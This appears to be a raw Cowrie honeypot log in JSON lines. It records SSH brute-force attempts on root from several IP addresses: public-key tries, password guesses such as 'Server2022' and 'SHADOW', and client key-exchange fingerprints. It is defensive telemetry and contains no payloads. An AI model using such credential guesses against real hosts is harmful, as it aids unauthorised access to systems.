{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:23:e8:a5:aa:38:3a:b0:2e:7c:f9:21:c3:bc:9b:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCWtLZphi6+Yg612JHFuf2av7UAfJQu8znSrzvV8uRnb8lHe7im1dNCVmqf3qFwUVMGWNKrrV3FHk4s9UgJUSpxQxdx+chzN5ZlGsWNFxk+S3sYHEKGxQG8jKAKjocbw+L5TAT2RmzOB/LeN9784UUt77DMjarK4dxbSp3CEfnMrj/L8nBPXbwOYr6TfP7xWmthFU8BAy2FQSQxVakCyVfQU6uk+QyPcpcyZ5vdoGzv3cRyylaL/w+W1nyigAklFmXDDiBBzyVsbHAKVEdlP65Af3aqgfcWW/4e8Qa/O1CvBMd798iltOeDQ+MIOekzg0xC4ruG/BsdlJiyi4i4K4KsyBwmiuWeE6AJERRKEV9s0h8tGpvO/hbeDr6SIJFYo83/COwezvFY2brmtKaQqZktLQM8rI7A4hXljyQdFB0+/5kwb6f8K3HGaCzo8zq9XlqeWfO8oRa4RheuRVjNwx2c3FL2oaaoOpZHN5hXLqrm3w8StN8LvLYdFHmtfHqJjCzi1CnYpSHB3qixd5bs9AUMo3RRWsXmi70Ices6IDnOZQV2bSUnoeJPiRQ3kVEQt6jYifC3FSK1y74sCgRJjIvyqbkQ/fqwwB2XZqsNZntnu12rhiYmXjwGpeYjoGZ4gVGeQZVHwP+dIlwdsIMGez7BYMIPTynxdwc/im0/hbwY+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:23:e8:a5:aa:38:3a:b0:2e:7c:f9:21:c3:bc:9b:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.916899Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:23:e8:a5:aa:38:3a:b0:2e:7c:f9:21:c3:bc:9b:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCWtLZphi6+Yg612JHFuf2av7UAfJQu8znSrzvV8uRnb8lHe7im1dNCVmqf3qFwUVMGWNKrrV3FHk4s9UgJUSpxQxdx+chzN5ZlGsWNFxk+S3sYHEKGxQG8jKAKjocbw+L5TAT2RmzOB/LeN9784UUt77DMjarK4dxbSp3CEfnMrj/L8nBPXbwOYr6TfP7xWmthFU8BAy2FQSQxVakCyVfQU6uk+QyPcpcyZ5vdoGzv3cRyylaL/w+W1nyigAklFmXDDiBBzyVsbHAKVEdlP65Af3aqgfcWW/4e8Qa/O1CvBMd798iltOeDQ+MIOekzg0xC4ruG/BsdlJiyi4i4K4KsyBwmiuWeE6AJERRKEV9s0h8tGpvO/hbeDr6SIJFYo83/COwezvFY2brmtKaQqZktLQM8rI7A4hXljyQdFB0+/5kwb6f8K3HGaCzo8zq9XlqeWfO8oRa4RheuRVjNwx2c3FL2oaaoOpZHN5hXLqrm3w8StN8LvLYdFHmtfHqJjCzi1CnYpSHB3qixd5bs9AUMo3RRWsXmi70Ices6IDnOZQV2bSUnoeJPiRQ3kVEQt6jYifC3FSK1y74sCgRJjIvyqbkQ/fqwwB2XZqsNZntnu12rhiYmXjwGpeYjoGZ4gVGeQZVHwP+dIlwdsIMGez7BYMIPTynxdwc/im0/hbwY+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.920751Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:ee:1c:95:51:bf:4a:77:de:68:9f:4a:80:5d:20:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDW1Rhy+s+Ydq7IZVI7v6izQpOg0rNG62NBX9bQfFP4+VJXHOvwbLRyTaHvyMMK56/hsQBaVVNurnqdhs8vTNAR5TWpMdJlPleFe1zC6cetH2QIRAmGivyAGTnM2v6h3ZjwZSHBZcFnGXBF0RZ0PUWdK4HDTwtG0UXM6WSVgTpS4tuZnfmHAjHSwhFVWylixMHHypDV88kMeEBHskj7Rl+rVusnlGBpgWPRQMRuXnKY0xfiGKdLhLpIEA/BvhD3Jpf1EmRtqT8Gklr5s7Y+QGyxFx/E4r8rx/59MZCHAYfGN/ZhzXg+/BGJuIkBzitMhXkAMhJ01GkHdCulwMbku6K2TBPgN40IiHfvGfDh3c4PTKpnTQ5yHvRgTLnUmjl7tZydAJEnfkajd002mmyJIe+ZWyoWRxImVcQjCB8FDd6IJ8OIFrH8N3rxHwTL5xE6esFtAFoSjFryiHiSTrQoYXpvRIuDE11jfnMqWBH1NJTq69VLZDG3z6mUyn2t2TLKa/5OQBOq+yXD1ewmgvxpSETQZUo5TiEDNhZGJQANCnLLwiDUxkqsHUWJzwvfKnuuvcD9dmAcaI98nZ16upyPHOOMAKRyGtWhUwb+liGp1ivQtyLL7Oao3Hxe5JV3HBOZ55qhcj5XPRaA88cFIJiPCRtNQ//3M6Y0D42zn+mQJUfiuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:ee:1c:95:51:bf:4a:77:de:68:9f:4a:80:5d:20:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.964297Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:ee:1c:95:51:bf:4a:77:de:68:9f:4a:80:5d:20:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDW1Rhy+s+Ydq7IZVI7v6izQpOg0rNG62NBX9bQfFP4+VJXHOvwbLRyTaHvyMMK56/hsQBaVVNurnqdhs8vTNAR5TWpMdJlPleFe1zC6cetH2QIRAmGivyAGTnM2v6h3ZjwZSHBZcFnGXBF0RZ0PUWdK4HDTwtG0UXM6WSVgTpS4tuZnfmHAjHSwhFVWylixMHHypDV88kMeEBHskj7Rl+rVusnlGBpgWPRQMRuXnKY0xfiGKdLhLpIEA/BvhD3Jpf1EmRtqT8Gklr5s7Y+QGyxFx/E4r8rx/59MZCHAYfGN/ZhzXg+/BGJuIkBzitMhXkAMhJ01GkHdCulwMbku6K2TBPgN40IiHfvGfDh3c4PTKpnTQ5yHvRgTLnUmjl7tZydAJEnfkajd002mmyJIe+ZWyoWRxImVcQjCB8FDd6IJ8OIFrH8N3rxHwTL5xE6esFtAFoSjFryiHiSTrQoYXpvRIuDE11jfnMqWBH1NJTq69VLZDG3z6mUyn2t2TLKa/5OQBOq+yXD1ewmgvxpSETQZUo5TiEDNhZGJQANCnLLwiDUxkqsHUWJzwvfKnuuvcD9dmAcaI98nZ16upyPHOOMAKRyGtWhUwb+liGp1ivQtyLL7Oao3Hxe5JV3HBOZ55qhcj5XPRaA88cFIJiPCRtNQ//3M6Y0D42zn+mQJUfiuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:16.968394Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:53:27:cf:b4:40:89:06:9b:de:d2:f6:26:b7:76:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApeGMkbihmUEM45QY/JYOG1YZbzPZWQTmxv48t/5H0JqcyPyC8M1F8g2SK3WDhA4DpqdNVFcoH8EmTxoPIffMDTrR5BzUQimsqzJTVCJZgdFGhLGtHj1gSOHZkkF9sMsuBjRhXW6K8cF8IOCGgsKEzgCoyb0CYdcvd8fG3ci8OGFT6Fw+fKPfRCUEzcT+sXlBiCP514U2j2QLy8LxP4Np7lKrwtaKYFSfDmFJbK+jL35maavP8UDkrvPwg3JNk1z9iYg8jrZCcxeU7fOSLZffwmJYGxW34tH34yIBlwT1nfqMDE6V7D/4IKUVpF559672NJ8WK73WJuCjNlxbwHjhfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:53:27:cf:b4:40:89:06:9b:de:d2:f6:26:b7:76:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:17.011356Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:53:27:cf:b4:40:89:06:9b:de:d2:f6:26:b7:76:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApeGMkbihmUEM45QY/JYOG1YZbzPZWQTmxv48t/5H0JqcyPyC8M1F8g2SK3WDhA4DpqdNVFcoH8EmTxoPIffMDTrR5BzUQimsqzJTVCJZgdFGhLGtHj1gSOHZkkF9sMsuBjRhXW6K8cF8IOCGgsKEzgCoyb0CYdcvd8fG3ci8OGFT6Fw+fKPfRCUEzcT+sXlBiCP514U2j2QLy8LxP4Np7lKrwtaKYFSfDmFJbK+jL35maavP8UDkrvPwg3JNk1z9iYg8jrZCcxeU7fOSLZffwmJYGxW34tH34yIBlwT1nfqMDE6V7D/4IKUVpF559672NJ8WK73WJuCjNlxbwHjhfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:17.015643Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:13:25:fd:fe:ec:81:00:67:02:0a:4a:f3:62:41:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4l+7f9Dj4mR/8PkugUeYK8NQfs+tZV7agi4HK2TTLkUzyrMTX5Lild+ByIPTqAvVDHdzaz99Pq/OefhjEyfLRubQzDvRjHfUsRIPgxG5b2iMFlxXQxIXqfDQVim50BXGBDarzWWbO52lwWUt9rIjehCRuqPpaRQotWpbPSOnouq+d5oynWHT15i4fOH7EvnYsEe2GHna/VVizZpncprDS6F+WrfvytpTze4rS3PYHZV96vMbW5uFvyBNb5ZJyYILPsPQiAk5Hujdexd0fL4mygALeDARYNEzihQLsBm6RzYZbyvHhYsJwggUYhiyakHpwenU76HMy87pzzXOFw15R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:13:25:fd:fe:ec:81:00:67:02:0a:4a:f3:62:41:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:17.060375Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:13:25:fd:fe:ec:81:00:67:02:0a:4a:f3:62:41:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4l+7f9Dj4mR/8PkugUeYK8NQfs+tZV7agi4HK2TTLkUzyrMTX5Lild+ByIPTqAvVDHdzaz99Pq/OefhjEyfLRubQzDvRjHfUsRIPgxG5b2iMFlxXQxIXqfDQVim50BXGBDarzWWbO52lwWUt9rIjehCRuqPpaRQotWpbPSOnouq+d5oynWHT15i4fOH7EvnYsEe2GHna/VVizZpncprDS6F+WrfvytpTze4rS3PYHZV96vMbW5uFvyBNb5ZJyYILPsPQiAk5Hujdexd0fL4mygALeDARYNEzihQLsBm6RzYZbyvHhYsJwggUYhiyakHpwenU76HMy87pzzXOFw15R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:17.064406Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:17.108382Z","src_ip":"185.241.149.165","session":"21cf4463f1c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2022","message":"login attempt [root/Server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:26.556557Z","src_ip":"213.209.159.158","session":"4796a5693427","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:30.250835Z","src_ip":"213.209.159.158","session":"4796a5693427","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":16292,"dst_ip":"10.17.0.5","dst_port":22,"session":"536293449bc3","protocol":"ssh","message":"New connection: 213.209.159.158:16292 (10.17.0.5:22) [session: 536293449bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:30.340034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:32.590182Z","src_ip":"213.209.159.158","session":"536293449bc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:32.593694Z","src_ip":"213.209.159.158","session":"536293449bc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sk123456.","message":"login attempt [root/sk123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:42.672628Z","src_ip":"213.209.159.158","session":"536293449bc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:46.101990Z","src_ip":"213.209.159.158","session":"536293449bc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":4256,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c65374279b9","protocol":"ssh","message":"New connection: 213.209.159.158:4256 (10.17.0.5:22) [session: 2c65374279b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:46.226434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:48.370841Z","src_ip":"213.209.159.158","session":"2c65374279b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:48.374516Z","src_ip":"213.209.159.158","session":"2c65374279b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.99347424507141,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:50.918775Z","src_ip":"194.180.12.23","session":"1849d61c883c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"siton-nlp","message":"login attempt [root/siton-nlp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:18:58.636023Z","src_ip":"213.209.159.158","session":"2c65374279b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:01.875779Z","src_ip":"213.209.159.158","session":"2c65374279b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":36266,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8e63c9167c6","protocol":"ssh","message":"New connection: 213.209.159.158:36266 (10.17.0.5:22) [session: d8e63c9167c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:01.954883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:04.749395Z","src_ip":"213.209.159.158","session":"d8e63c9167c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:04.754936Z","src_ip":"213.209.159.158","session":"d8e63c9167c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"SHADOW","message":"login attempt [root/SHADOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:14.340699Z","src_ip":"213.209.159.158","session":"d8e63c9167c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:18.095688Z","src_ip":"213.209.159.158","session":"d8e63c9167c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":24752,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b4ef7916a74","protocol":"ssh","message":"New connection: 213.209.159.158:24752 (10.17.0.5:22) [session: 0b4ef7916a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:18.177086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:20.458915Z","src_ip":"213.209.159.158","session":"0b4ef7916a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:20.466007Z","src_ip":"213.209.159.158","session":"0b4ef7916a74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":53206,"dst_ip":"10.17.0.5","dst_port":22,"session":"2234f6d7e335","protocol":"ssh","message":"New connection: 103.15.226.202:53206 (10.17.0.5:22) [session: 2234f6d7e335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:22.115044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:22.120070Z","src_ip":"103.15.226.202","session":"2234f6d7e335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:19:22.366686Z","src_ip":"103.15.226.202","session":"2234f6d7e335","protocol":"ssh"}
